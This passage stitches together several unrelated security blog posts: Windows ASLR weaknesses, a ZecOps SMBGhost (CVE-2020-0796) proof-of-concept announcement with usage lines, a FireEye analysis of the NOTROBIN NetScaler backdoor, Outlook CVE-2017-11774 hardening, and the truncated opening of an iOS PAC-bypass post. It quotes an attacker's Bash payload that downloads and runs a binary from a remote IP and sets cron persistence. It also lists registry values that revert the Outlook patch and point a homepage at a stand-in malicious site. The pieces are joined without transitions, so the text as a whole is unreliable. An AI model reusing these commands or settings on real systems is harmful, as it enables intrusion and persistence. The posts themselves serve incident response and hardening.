Fact 4: Windows 10 reuses randomized base addresses more aggressively than Windows 7, and this could make it weaker in some situations.

Observe that even if a Windows system must ensure that multiple instances of one DLL or EXE all get loaded at the same base address, the system need not keep track of the base address once the last instance of the DLL or EXE is unloaded. If the DLL or EXE is loaded again, it can get a fresh base address.

This is the behavior we observed in working with Windows 7. Windows 10 can work differently. Even after the last instance of a DLL or EXE unloads, it may maintain the same base address at least for a short period of time—more so for EXEs than DLLs. This can be observed when repeatedly launching a command-line utility under a multi-process debugger. However, if the utility is copied to a new filename and then launched, it receives a fresh base address. Likewise, if a sufficient duration has passed, the utility will load at a different base address. Rebooting, of course, generates fresh base addresses for all DLLs and EXEs.

Takeaway 4.1: Make no assumptions about Windows ASLR guarantees beyond per-boot randomization.

In particular, do not rely on the behavior of Windows 7 in randomizing a fresh address space whenever the first instance of a given EXE or DLL loads. Do not assume that Windows inherently protects against brute force attacks against ASLR in any way, especially for 32-bit processes where brute force attacks can take 256 or fewer guesses.

Fact 5: Windows 10 is more aggressive at applying ASLR, and even to EXEs and DLLs not marked as ASLR-compatible, and this could make ASLR stronger.

Windows Vista and 7 were the first two releases to support ASLR, and therefore made some trade-offs in favor of compatibility. Specifically, these older implementations would not apply ASLR to an image not marked as ASLR-compatible and would not allow ASLR to push addresses above the 4 GB boundary. If an image did not opt in to ASLR, these Windows versions would continue to use the preferred base address.

It is possible to further harden Windows 7 using Microsoft’s Enhanced Mitigation Experience Toolkit (commonly known as EMET) to more aggressively apply ASLR even to images not marked as ASLR-compatible. Windows 8 introduced more features to apply ASLR to non-ASLR-compatible images, to better randomize heap allocations, and to increase the number of bits of entropy for 64-bit images.

Takeaway 5.1: Ensure software projects are using the correct linker flags to opt in to the most aggressive implementation of ASLR, and that they are not using any linker flags that weaken ASLR.

See Table 2. Linker flags can affect how ASLR is applied to an image. Note that for Visual Studio 2012 and later, the ✔️flags are already enabled by default and the best ASLR implementation will be used so long as no 🚫flags are used. Developers using Visual Studio 2010 or earlier, presumably for compatibility reasons, need to check which flags the linker supports and which it enables by default.

Secure?

Linker Flag

Effect

✔️

/DYNAMICBASE

Marks the image as ASLR-compatible

✔️

/LARGEADDRESSAWARE /HIGHENTROPYVA

Marks the 64-bit image as free of pointer truncation bugs and therefore allows ASLR to randomize addresses beyond 4 GB

🚫

/DYNAMICBASE:NO

“Politely requests” that ASLR not be applied by not marking the image as ASLR-compatible. Depending on the Windows version and hardening settings, Windows might apply ASLR anyway.

🚫

/HIGHENTROPYVA:NO

Opts out 64-bit images from ASLR randomizing addresses beyond 4 GB on Windows 8 and later (to avoid compatibility issues).

🚫

/FIXED

Removes information from the image that Windows needs in order to apply ASLR, blocking ASLR from ever being applied.

Table 2: Linker flags can affect how ASLR is applied to an image

Takeaway 5.2: Enable mandatory ASLR and bottom-up randomization.

Windows 8 and 10 contain optional features to forcibly enable ASLR on images not marked as ASLR compatible, and to randomize virtual memory allocations so that rebased images obtain a random base address. This is useful in the case where an EXE is ASLR compatible, but one of the DLLs it uses is not. Defenders should enable these features to apply ASLR more broadly, and importantly, to help discover any remaining non-ASLR-compatible software so it can be upgraded or replaced.

Fact 6: ASLR relocates entire executable images as a unit.

ASLR relocates executable images by picking a random offset and applying it to all addresses within an image that would otherwise be relative to its base address. That is to say:

  • If two functions in an EXE are at addresses 0x401000 and 0x401100, they will remain 0x100 bytes apart even after the image is relocated. Clearly this is important due to the prevalence of relative call and jmp instructions in x86 code. Similarly, the function at 0x401000 will remain 0x1000 bytes from the base address of the image, wherever it may be.
  • Likewise, if two static or global variables are adjacent in the image, they will remain adjacent after ASLR is applied.
  • Conversely, stack and heap variables and memory-mapped files are not part of the image and can be randomized at will without regard to what base address was picked.

Takeaway 6.1: A leak of just one pointer within an executable image can expose the randomized addresses of the entire image.

One of the biggest limitations and annoyances of ASLR is that seemingly innocuous features such as a debug log message or stack trace that leak a pointer in the image become security bugs.  If the attacker has a copy of the same program or DLL and can trigger it to produce the same leak, they can calculate the difference between the ASLR and pre-ASLR pointer to determine the ASLR offset. Then, the attacker can apply that offset to every pointer in their attack payload in order to overcome ASLR. Defenders should train software developers about pointer disclosure vulnerabilities so that they realize the gravity of this issue, and also regularly assess software for these vulnerabilities as part of the software development lifecycle.

Takeaway 6.2: Some types of memory corruption vulnerabilities simply lie outside the bounds of what ASLR can protect.

Not all memory corruption vulnerabilities need to directly achieve remote code execution. Consider a program that contains a buffer variable to receive untrusted data from the network, and a flag variable that lies immediately after it in memory. The flag variable contains bits specifying whether a user is logged in and whether the user is an administrator. If the program writes data beyond the end of the receive buffer, the “flags” variable gets overwritten and an attacker could set both the logged-in and is-admin flags. Because the attacker does not need to know or write any memory addresses, ASLR does not thwart the attack. Only if another hardening technique (such as compiler hardening flags) reordered variables, or better, moved the location of every variable in the program independently, would such attacks be blocked.

Conclusion

Address space layout randomization is a core defense against memory corruption exploits. This post covers some history of ASLR as implemented on Windows, and also explores some capabilities and limitations of the Windows implementation. In reviewing this post, defenders gain insight on how to build a program to best take advantage of ASLR and other features available in Windows to more aggressively apply it. Attackers can leverage ASLR limitations, such as address space randomization applying only per boot and randomization relocating the entire image as one unit, to overcome ASLR using brute force and pointer leak attacks.

Vulnerability Reproduction: CVE-2020-0796 POC

Vulnerability Reproduction: CVE-2020-0796 POC

CVE-2020-0796 Introduction

Microsoft recently announced a bug in the compression mechanism of SMBv3.1.1. The bug is also known as “SMBGhost”. This bug has serious implications in managed networks. Windows 10 versions 1903 and 1909 are affected.

Lucas Georges shared an excellent write-up. Even though the full code wasn’t shared, the details were sufficient for a quick implementation.

In Lucas’ proof of concept, the vulnerability required username and password for the target machine, however we were able to implement a version that doesn’t require credentials by triggering the bug in an earlier stage. Following our implementation, we noticed that there’s another publicly available proof of concept code in Python with a similar technique.

Proof of Concept

This POC is released for Research and Academic purposes only. Use at your own risk.
POC source code (C#) is available at: https://github.com/ZecOps/CVE-2020-0796-POC.
Pre-compiled POC is available here: https://github.com/ZecOps/CVE-2020-0796-POC/releases/tag/2020-03-16
Usage: CVE-2020-0796-POC.exe [IP]
Example: CVE-2020-0796-POC.exe 192.168.1.5
Note: If [IP] is not provided, the POC will run on localhost (127.0.0.1)

Impact: This is a serious vulnerability that can be used to cause existing threat operators to spread laterally. Similar issues caused “NotPetya” and “WannaCry” ransomware. We recommend to treat this vulnerability seriously.

Remediation

  1. We recommend updating servers and endpoints to the latest Windows version to remediate this vulnerability. If possible, block port 445 until updates are deployed. Regardless of CVE-2020-0796, we recommend enabling host-isolation where possible. 
  2. It is possible to disable SMBv3.1.1 compression in order to avoid triggers to this bug, however we recommend to do full update instead if possible.

ZecOps Customers & Partners

ZecOps Digital Forensics and Incident Response (DFIR) customers can detect such exploitation attempts as “CVE-2020-0796” using ZecOps agentless solution: Neutrino for Servers and Endpoints. To try ZecOps technology and see a demo, you can contact us here.

Stay safe,
ZecOps Research Team.

References

404 Exploit Not Found: Vigilante Deploying Mitigation for Citrix NetScaler Vulnerability While Maintaining Backdoor

As noted in Rough Patch: I Promise It'll Be 200 OK, our FireEye Mandiant Incident Response team has been hard at work responding to intrusions stemming from the exploitation of CVE-2019-19781. After analyzing dozens of successful exploitation attempts against Citrix ADCs that did not have the Citrix mitigation steps implemented, we’ve recognized multiple groups of post-exploitation activity. Within these, something caught our eye: one particular threat actor that’s been deploying a previously-unseen payload for which we’ve created the code family NOTROBIN.

Upon gaining access to a vulnerable NetScaler device, this actor cleans up known malware and deploys NOTROBIN to block subsequent exploitation attempts! But all is not as it seems, as NOTROBIN maintains backdoor access for those who know a secret passphrase. FireEye believes that this actor may be quietly collecting access to NetScaler devices for a subsequent campaign.

Initial Compromise

This actor exploits NetScaler devices using CVE-2019-19781 to execute shell commands on the compromised device. They issue an HTTP POST request from a Tor exit node to transmit the payload to the vulnerable newbm.pl CGI script. For example, Figure 1 shows a web server access log entry recording exploitation:

127.0.0.2 - - [12/Jan/2020:21:55:19 -0500] "POST
/vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 304 - "-" "curl/7.67.0"

Figure 1: Web log showing exploitation

Unlike other actors, this actor appears to exploit devices using a single HTTP POST request that results in an HTTP 304 response—there is no observed HTTP GET to invoke staged commands. Unfortunately, we haven’t recovered the POST body contents to see how it works.  In any case, exploitation causes the Bash one liner shown in Figure 2 to run on the compromised system:

pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -k
hxxps://95.179.163[.]186/wp-content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o
/tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * *
/var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"

Figure 2: Bash exploit payload

This is the same methodology as described in Rough Patch: I Promise It'll Be 200 OK. The effects of this series of commands includes:

  1. Kill and delete all running instances of netscalerd—a common process name used for cryptocurrency mining utilities deployed to NetScaler devices.
  2. Creates a hidden staging directory /tmp/.init, download NOTROBIN to it, and enable the execute permission.
  3. Install /var/nstmp/.nscache/httpd for persistence via the cron daemon. This is the path to which NOTROBIN will copy itself.
  4. Manually execute NOTROBIN.

There’s a lot to unpack here. Of note, the actor removes malware known to target NetScaler devices via the CVE-2019-19781 vulnerability. Cryptocurrency miners are generally easy to identify—just look for the process utilizing nearly 100% of the CPU. By uninstalling these unwanted utilities, the actor may hope that administrators overlook an obvious compromise of their NetScaler devices.

The actor uses curl to fetch NOTROBIN from the hosting server with IP address 95.179.163[.]186 that appears to be an abandoned WordPress site. FireEye has identified many payloads hosted on this server, each named after their embedded authentication key. Interestingly, we haven’t seen reuse of the same payload across multiple clients. Compartmenting payloads indicates the actor is exercising operational security.

FireEye has recovered cron syslog entries, such as those shown in Figure 3, that confirm the persistent installation of NOTROBIN. Note that these entries appear just after the initial compromise. This is a robust indicator of compromise to triage NetScaler devices.

Jan 12 21:57:00 <cron.info> foo.netscaler /usr/sbin/cron[73531]:
(nobody) CMD (/var/nstmp/.nscache/httpd)

Figure 3: cron log entry showing NOTROBIN execution

Now, let’s turn our attention to what NOTROBIN does.

Analysis of NOTROBIN

NOTROBIN is a utility written in Go 1.10 and compiled to a 64-bit ELF binary for BSD systems. It periodically scans for and deletes files matching filename patterns and content characteristics. The purpose seems to be to block exploitation attempts against the CVE-2019-19781 vulnerability; however, FireEye believes that NOTROBIN provides backdoor access to the compromised system.

When executed, NOTROBIN ensures that it is running from the path /var/nstmp/.nscache/httpd. If not, the utility copies itself to this path, spawns the new copy, and then exits itself. This provides detection cover by migrating the process from /tmp/, a suspicious place for long-running processes to execute, to an apparently NetScaler-related, hidden directory.

Now the fun begins: it spawns two routines that periodically check for and delete exploits.

Every second, NOTROBIN searches the directory /netscaler/portal/scripts/ for entries created within the last 14 days and deletes them, unless the filename or file content contains a hardcoded key (example: 64d4c2d3ee56af4f4ca8171556d50faa). Open source reporting indicates that some actors write scripts into this directory after exploiting CVE-2019-19781. Therefore, we believe that this routine cleans the system of publicly known payloads, such as PersonalBookmark.pl.

Eight times per second, NOTROBIN searches for files with an .xml extension in the directory /netscaler/portal/templates/. This is the directory into which exploits for CVE-2019-19781 write templates containing attacker commands. NOTROBIN deletes files that contain either of the strings block or BLOCK, which likely match potential exploit code, such as that found in the ProjectZeroIndia exploit; however, the utility does not delete files with a filename containing the secret key.

FireEye believes that actors deploy NOTROBIN to block exploitation of the CVE-2019-19781 vulnerability while maintaining backdoor access to compromised NetScaler devices. The mitigation works by deleting staged exploit code found within NetScaler templates before it can be invoked. However, when the actor provides the hardcoded key during subsequent exploitation, NOTROBIN does not remove the payload. This lets the actor regain access to the vulnerable device at a later time.

Across multiple investigations, FireEye observed actors deploying NOTROBIN with unique keys. For example, we’ve recovered nearly 100 keys from different binaries. These look like MD5 hashes, though FireEye has been unsuccessful in recovering any plaintext. Using complex, unique keys makes it difficult for third parties, such as competing attackers or FireEye, to easily scan for NetScaler devices “protected” by NOTROBIN. This actor follows a strong password policy!

Based on strings found within NOTROBIN, the actor appears to inject the key into the Go project using source code files named after the key. Figure 4 and Figure 5 show examples of these filenames.

/tmp/b/.tmpl_ci/64d4c2d3ee56af4f4ca8171556d50faa.go

Figure 4: Source filename recovered from NOTROBIN sample

/root/backup/sources/d474a8de77902851f96a3b7aa2dcbb8e.go

Figure 5: Source filename recovered from NOTROBIN sample

We wonder if “tmpl_ci” refers to a Continuous Integration setup that applies source code templating to inject keys and build NOTROBIN variants. We also hope the actor didn’t have to revert to backups after losing the original source!

Outstanding Questions

NOTROBIN spawns a background routine that listens on UDP port 18634 and receives data; however, it drops the data without inspecting it. You can see this logic in Figure 6. FireEye has not uncovered a purpose for this behavior, though DCSO makes a strong case for this being used as a mutex, as only a single listener can be active on this port.


Figure 6: NOTROBIN logic that drops UDP traffic

There is also an empty function main.install_cron whose implementation has been removed, so alternatively, perhaps these are vestiges of an early version of NOTROBIN. In any case, a NetScaler device listening on UDP port 18634 is a reliable indicator of compromise. Figure 7 shows an example of listing the open file handles on a compromised NetScaler device, including a port listening on UDP 18634.


Figure 7: File handling listing of compromised NetScaler device

NOTROBIN Efficacy

During one engagement, FireEye reviewed forensic evidence of NetScaler exploitation attempts against a single device, both before and after NOTROBIN was deployed by an actor. Prior to January 12, before NOTROBIN was installed, we identified successful attacks from multiple actors. But, across the following three days, more than a dozen exploitation attempts were thwarted by NOTROBIN. In other words, NOTROBIN inoculated the vulnerable device from further compromise. For example, Figure 8 shows a log message that records a failed exploitation attempt.

127.0.0.2 - - [13/Jan/2020:05:09:07 -0500] "GET
/vpn/../vpns/portal/wTyaINaDVPaw8rmh.xml HTTP/1.1" 404 48 "-"
"curl/7.47.0"

Figure 8: Web log entry showing a failed exploitation attempt

Note that the application server responded with HTTP 404 (“Not Found”) as this actor attempts to invoke their payload staged in the template wTyaINaDVPaw8rmh.xml. NOTROBIN deleted the malicious template shortly after it was created – and before it could be used by the other actor.

FireEye has not yet identified if the actor has returned to NOTROBIN backdoors.

Conclusion

FireEye believes that the actor behind NOTROBIN has been opportunistically compromising NetScaler devices, possibly to prepare for an upcoming campaign. They remove other known malware, potentially to avoid detection by administrators that check into their devices after reading Citrix security bulletin CTX267027. NOTROBIN mitigates CVE-2019-19781 on compromised devices but retains a backdoor for an actor with a secret key. While we haven’t seen the actor return, we’re skeptical that they will remain a Robin Hood character protecting the internet from the shadows.

Indicators of Compromise and Discovery

Table 1 lists indicators that match NOTROBIN variants that FireEye has identified. The domain vilarunners[.]cat is the WordPress site that hosted NOTROBIN payloads. The domain resolved to 95.179.163[.]186 during the time of observed activity. As of January 15, the vilarunners[.]cat domain currently resolves to a new IP address of 80.240.31[.]218.

IOC Item

Value

HTTP URL prefix

hxxps://95[.]179.163.186/wp-content/uploads/2018/09/

Directory

/var/nstmp/.nscache

Filename

/var/nstmp/.nscache/httpd

Directory

/tmp/.init

Filename

/tmp/.init/httpd

Crontab entry

/var/nstmp/.nscache/httpd

Listening UDP port

18634

Remote IP

95.179.163[.]186

Remote IP

80.240.31[.]218

Domain

vilarunners[.]cat

Table 1: Indicators of Compromise

Discovery on VirusTotal

You can use the following VTI queries to identify NOTROBIN variants on VirusTotal:

  • vhash:"73cee1e8e1c3265c8f836516c53ae042"
  • vhash:"e57a7713cdf89a2f72c6526549d22987"

Note, the vHash implementation is private, so we’re not able to confirm why this technique works. In practice, the vHashes cover the same variants identified by the Yara rule listed in Figure 9.

rule NOTROBIN

{

    meta:

        author = "william.ballenthin@fireeye.com"

        date_created = "2020-01-15"

    strings:

        $func_name_1 = "main.remove_bds"

        $func_name_2 = "main.xrun"

    condition:

        all of them

}

Figure 9: Yara rule that matches on NOTROBIN variants

Recovered Authentication Keys

FireEye has identified nearly 100 hardcoded keys from NOTROBIN variants that the actor could use to re-enter compromised environments. We expect that these strings may be found within subsequent exploitation attempts, either as filenames or payload content. Although we won’t publish them here out of concern for our customers, please reach out if you’re looking for NOTROBIN within your environment and we can provide a list.

Acknowledgements

Thank you to analysts across FireEye that are currently responding to this activity, including Brandan Schondorfer for collecting and interpreting artifacts, Steven Miller for coordinating analysis, Evan Reese for pivoting across intel leads, Chris Glyer for reviewing technical aspects, Moritz Raabe for reverse engineering NOTROBIN samples, and Ashley Frazer for refining the presentation and conclusions.

Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774)

Attackers have a dirty little secret that is being used to conduct big intrusions. We’ll explain how they're "unpatching" an exploit and then provide new Outlook hardening guidance that is not available elsewhere. Specifically, this blog post covers field-tested automated registry processing for registry keys to protect against attacker attempts to reverse Microsoft’s CVE-2017-11774 patch functionality.

Despite multiple warnings from FireEye and U.S. Cyber Command, we have continued to observe an uptick in successful exploitation of CVE-2017-11774, a client-side Outlook attack that involves modifying victims’ Outlook client homepages for code execution and persistence. The Outlook Home Page feature allows for customization of the default view for any folder in Outlook. This configuration can allow for a specific URL to be loaded and displayed whenever a folder is opened. This URL is retrieved either via HTTP or HTTPS - and can reference either an internal or external network location. When Outlook loads the remote URL, it will render the contents using the Windows DLL ieframe.dll, which can allow an attacker to achieve remote code execution that persists through system restarts.

We have observed multiple threat actors adopting the technique and eventually becoming a favorite for Iranian groups in support of both espionage and reportedly destructive attacks. FireEye first observed APT34 use CVE-2017-11774 in June 2018, followed by adoption by APT33 for a significantly broader campaign beginning in July 2018 and continuing for at least a year. To further increase awareness of this intrusion vector, our Advanced Practices team worked with MITRE to update the ATT&CK framework to include CVE-2017-11774 home page persistence within technique T1137 – “Office Application Startup”.

For more information on how CVE-2017-11774 exploitation works, how APT33 implemented it alongside password spraying, and some common pitfalls for incident responders analyzing this home page technique, see the “RULER In-The-Wild” section of our December 2018 OVERRULED blog post.

Going Through a Rough Patch

On October 10, 2017, Microsoft released patches for Microsoft Outlook to protect against this technique.

  • KB4011196 (Outlook 2010)
  • KB4011178 (Outlook 2013)
  • KB4011162 (Outlook 2016)

Following the mid-2018 abuse by Iranian threat actors first detailed in our OVERRULED blog post, the FireEye Mandiant team began to raise awareness of how the patch could be subverted. Doug Bienstock discussed in December 2018 that the simple roll back of the patch as a part of Mandiant’s Red Team operations – and alluded to observing authorized software that also automatically removes the patch functionality. In response to U.S. Cyber Command’s mid-2019 warning about APT33’s use of the exploit, we raised concern with DarkReading over the ability to override the CVE-2017-11774 patch without escalated privileges.

Without continuous reinforcement of the recommended registry settings for CVE-2017-11774 hardening detailed within this blog post, an attacker can add or revert registry keys for settings that essentially disable the protections provided by the patches.

An attacker can set a home page to achieve code execution and persistence by editing the WebView registry keys. The “URL” subkey will enable and set a home page for the specified mail folder within the default mailbox. Setting this registry key to a valid URL enables the home page regardless of the patch being applied or not. Although the option will not be accessible from the Outlook user interface (UI), it will still be set and render. Importantly, these keys are set within the logged-on user’s Registry hive. This means that no special privileges are required to edit the Registry and roll back the patch. The FireEye Red Team found that no other registry modifications were required to set a malicious Outlook homepage.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\ Outlook\WebView\Inbox
“URL”= http://badsite/homepage-persist.html

There are additional keys within the Registry that can be modified to further roll back the patch and expose unsafe options in Outlook. The following setting can be used to re-enable the original home page tab and roaming home page behavior in the Outlook UI.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
“EnableRoamingFolderHomepages”= dword:00000001

The following setting will allow for folders within secondary (non-default) mailboxes to leverage a custom home page.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
“NonDefaultStoreScript"= dword:00000001

The following setting will allow for “Run as a Script” and “Start Application” rules to be re-enabled.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
“EnableUnsafeClientMailRules"= dword:00000001

Etienne Stalmans, a developer of SensePost’s RULER and the credited responsible discloser of CVE-2017-11774, chimed in about similar concerns on the patch that were re-raised after seeing a September 2018 blog post about applying the same technique to Outlook Today’s home page that is stored at HKCU\Software\Microsoft\Office\<Outlook Version>\Outlook\Today\UserDefinedUrl. Both Etienne and the September 2018 blog post’s author describe what Microsoft has suggested as a key mitigating factor – that the exploit and rolling back the patch require some form of initial access. This is consistent with Microsoft’s position and their 2007 immutable laws of security blog, which were reiterated when we contacted MSRC prior to publishing this blog post.

We agree that for the CVE-2017-11774 patch override vector to be successful, a bad guy has to persuade you to run his program (law #1) and alter your operating system (law #2). However, the technique is under-reported, no public mitigation guidance is available, and – as a fresh in-the-wild example demonstrates in this post – that initial access and patch overriding can be completely automated.

A Cavalier Handling of CVE-2017-11774

The Advanced Practices team monitors for novel implementations of attacker techniques including this patch override, and on November 23, 2019 a uniquely automated phishing document was uploaded to VirusTotal. The sample, “TARA Pipeline.xlsm” (MD5: ddbc153e4e63f7b8b6f7aa10a8fad514), launches malicious Excel macros combining several techniques, including:

  • execution guardrails to only launch on the victim domain (client redacted in screenshot)
  • custom pipe-delimited character substitution obfuscation
  • a creative implementation of CVE-2017-11774 using the lesser-known HKCU\Software\Microsoft\Office\<Outlook Version>\Outlook\WebView\Calendar\URL registry key
  • a URL pointing to the payload hosted in Azure storage blobs (*.web.core.windows.net) – a creative technique that allows an attacker-controlled, swappable payload to be hosted in a legitimate service
  • and most importantly for this blog post – a function to walk through the registry and reverse the CVE-2017-11774 patch functionality for any version of Microsoft Outlook

These features of the malicious spear phishing Excel macro can be seen in Figure 1.


Figure 1: Malicious macros automatically reverting the CVE-2017-11774 patch

Pay special attention to the forced setting of EnableRoamingFolderHomepages to “1” and the setup of “Calendar\URL” key to point to an attacker-controlled payload, effectively disabling the CVE-2017-11774 patch on initial infection.

In support of Managed Defense, our Advanced Practices team clusters and tactically attributes targeted threat activity – whether the intrusion operators turn out to be authorized or unauthorized – in order to prioritize and deconflict intrusions. In this case, Nick Carr attributed this sample to an uncategorized cluster of activity associated with authorized red teaming, UNC1194 , but you might know them better as the TrustedSec red team whose founder, Dave Kennedy, appeared on a previous episode of State of the Hack. This malicious Excel file appears to be a weaponized version of a legitimate victim-created document that we also obtained – reflecting a technique becoming more common with both authorized and unauthorized intrusion operators. For further analysis and screenshots of UNC1194’s next stage CVE-2017-11774 payload for initial reconnaissance, target logging visibility checks, and domain-fronted Azure command and control – see here. Readers should take note that the automated patch removal and home page exploitation establishes attacker-controlled remote code execution and allows these [thankfully authorized] attackers to conduct a full intrusion by swapping out their payload remotely for all follow-on activity.

Locking Down the Registry Keys Using Group Policy Object (GPO) Enforcement

As established, the patches for CVE-2017-11774 can be effectively “disabled” by modifying registry keys on an endpoint with no special privileges. The following registry keys and values should be configured via Group Policy to reinforce the recommended configurations in the event that an attacker attempts to reverse the intended security configuration on an endpoint to allow for Outlook home page persistence for malicious purposes.

To protect against an attacker using Outlook’s WebView functionality to configure home page persistence, the following registry key configuration should be enforced.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\WebView
"Disable"= dword:00000001

Note: Prior to enforcing this hardening method for all endpoints, the previous setting should be tested on a sampling of endpoints to ensure compatibility with third-party applications that may leverage webviews.

To enforce the expected hardened configuration of the registry key using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Webview
        • Value Name: Disable
      • Value Type: REG_DWORD
      • Value Data: 00000001


Figure 2: Disabling WebView registry setting

Included within the Microsoft Office Administrative Templates, a GPO setting is available which can be configured to disable a home page URL from being set in folder properties for all default folders, or for each folder individually.  If set to “Enabled”, the following GPO setting essentially enforces the same registry configuration (disabling WebView) as previously noted.

User Configuration > Policies > Administrative Templates > Microsoft Outlook <version> > Folder Home Pages for Outlook Special Folders > Do not allow Home Page URL to be set in folder Properties

The registry key configuration to disable setting an Outlook home page via the Outlook UI is as follows.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
"EnableRoamingFolderHomepages"= dword:00000000

To enforce the expected hardened configuration of the registry key using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Security
        • Value Name: EnableRoamingFolderHomepages
      • Value Type: REG_DWORD
      • Value Data: 00000000


Figure 3: EnableRoamingFolderHomepages registry setting

Additionally, a home page in Outlook can be configured for folders in a non-default datastore. This functionality is disabled once the patch has been installed, but it can be re-enabled by an attacker. Just like this blog post’s illustration of several different home page URL registry keys abused in-the-wild – including the Outlook Today setting from September 2018 and the Calendar URL setting from UNC1194’s November 2019 malicious macros – these non-default mailstores provide additional CVE-2017-11774 attack surface.

The registry key configuration to enforce the recommended registry configuration is as follows.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security
"NonDefaultStoreScript"= dword:00000000

To enforce the expected hardened configuration of the registry key for non-default mailstores using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Security
        • Value Name: NonDefaultStoreScript
      • Value Type: REG_DWORD
      • Value Data: 00000000


Figure 4: NonDefaultStoreScript registry setting

Included within the previously referenced Microsoft Office Administrative Templates, a GPO setting is available which can be configured to not allow folders in non-default stores to be set as folder home pages.

User Configuration > Policies > Administrative Templates > Microsoft Outlook <version> > Outlook Options > Other > Advanced > Do not allow folders in non-default stores to be set as folder home pages

While you’re locking things down, we thought that readers would also want to ensure they are locked down against RULER’s other modules for rules-based persistence and forms-based persistence. This last recommendation ensures that the rule types required by the other RULER modules are no longer permissible on an endpoint. While not CVE-2017-11774, this is closely related and this last setting is consistent with Microsoft’s prior guidance on rules and forms persistence.

The registry key configuration to protect against an attacker re-enabling “Run as a Script” and “Start Application” rules is as follows.

HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security\
"EnableUnsafeClientMailRules"= dword:00000000

To enforce the expected hardened configuration of the registry key using a GPO, the following setting can be configured.

  • User Configuration > Preferences > Windows Settings > Registry
    • New > Registry Item
      • Action: Update
      • Hive: HKEY_CURRENT_USER
      • Key Path: Software\Microsoft\Office\<Outlook Version>\Outlook\Security
        • Value Name: EnableUnsafeClientMailRules
      • Value Type: REG_DWORD
      • Value Data: 00000000


Figure 5: EnableUnsafeClientMailRules registry setting

Once all of aforementioned endpoint policies are configured – we recommend a final step to protect these settings from unauthorized tampering. To ensure that the registry settings (configured via GPO) are continuously assessed and applied to an endpoint – even if the registry value was intentionally reversed by an attacker – the following GPO settings should also be configured and enforced:

  • Computer Configuration > Policies > Administrative Templates > System > Group Policy > Configure security policy processing
    • Enabled - Process even if the Group Policy objects have not changed
  • Computer Configuration > Policies > Administrative Templates > System > Group Policy > Configure registry policy processing
    • Enabled - Process even if the Group Policy objects have not changed


Figure 6: Group Policy processing settings

For more environment hardening advice informed by front-line incident response, reach out to our Mandiant Security Transformation Services consulting team.

Let’s Go Hunt (doo doo doo)

With this blog post, we’re providing an IOC for monitoring CVE-2017-11774 registry tampering – while written for FireEye Endpoint Security (HX) in the OpenIOC 1.1 schema, this is a flexible behavioral detection standard that supports real-time and historical events and the logic can be repurposed for other endpoint products.

The Yara hunting rule provided by Nick Carr at the end the OVERRULED blog post still captures payloads using CVE-2017-11774, including all of those used in intrusions referenced in this post, and can also be used to proactively identify home page exploits staged on adversary infrastructure. Further FireEye product detection against CVE-2017-11774 is also covered in the OVERRULED blog post.

If you’ve read the OVERRULED post (or are tired of hearing about it) but want some additional information, we recommend:

Interesting MITRE ATT&CK techniques explicitly referenced in this blog post:

ID

Technique

Context

T1137

Office Application Startup

Nick Carr contributed CVE-2017-11774 on behalf of FireEye for expansion of this technique

T1480

Execution Guardrails

Nick Carr contributed this new technique to MITRE ATT&CK and it is used within the UNC1194 red team sample in this blog post

Acknowledgements

The authors would like to acknowledge all of those at FireEye and the rest of the security industry who have combatted targeted attackers leveraging creative techniques like home page persistence, but especially the analysts in Managed Defense SOC working around the clock to secure our customers and have disrupted this specific attack chain several times. We want to thank the SensePost team – for their continued creativity, responsible disclosure of CVE-2017-11774, and their defensive-minded release of NotRuler – as well as the TrustedSec crew for showing us some innovative implementations of these techniques and being great to coordinate with on this blog post. Lastly, thanks to Aristotle who has already offered what can only be interpreted as seasoned incident response and hardening advice for those who have seen RULER’s home page persistence in-the-wild: “He who is to be a good ruler must have first been ruled.”

ZecOps Task-For-Pwn 0 Bounty: TFP0 POC on PAC-Enabled iOS Devices

ZecOps Task-For-Pwn 0 Bounty: TFP0 POC on PAC-Enabled iOS Devices

Summary

In September we announced “Task For Pwn 0 (TFP0): Operation #FreeTheSandbox”.  In this blogpost we are delighted to announce that we have successfully obtained TFP0 for both non-PAC and PAC devices.  Presently, we are releasing a TFP0 POC code on PAC enabled devices to empower users to independently verify the integrity of their own devices.

Since the release of CheckM8, users can independently verify their devices’ integrity on non-PAC devices. However, PAC-enabled device owners are still restricted by iOS sandbox which inhibits full analysis of their own devices. 

Presently only PAC-enabled iOS devices cannot be inspected, hence we are no longer offering bounties for non PAC-enabled devices. At the same time, we have extended additional bounties to Boot Rom vulnerabilities and generic Local Privilege Escalations (LPEs) for Android devices, ideally, boot level LPEs.You can read more about our updated bounties for iOS (A12/A13), and Android in the following  blog post: Checkm8 Implications on iOS DFIR, TFP0, #FreeTheSandbox, Apple, and Google

Technical Summary

This blog provides an overview of an exploitation technique to bypass Pointer Authentication Code (PAC) which was introduced on all iOS devices since A12. This blog will focus on CVE-2019-8797, CVE-2019-8795 and CVE-2019-8794. The remainder of this report provides additional details about PAC bypass on iOS <= 12.4.2.

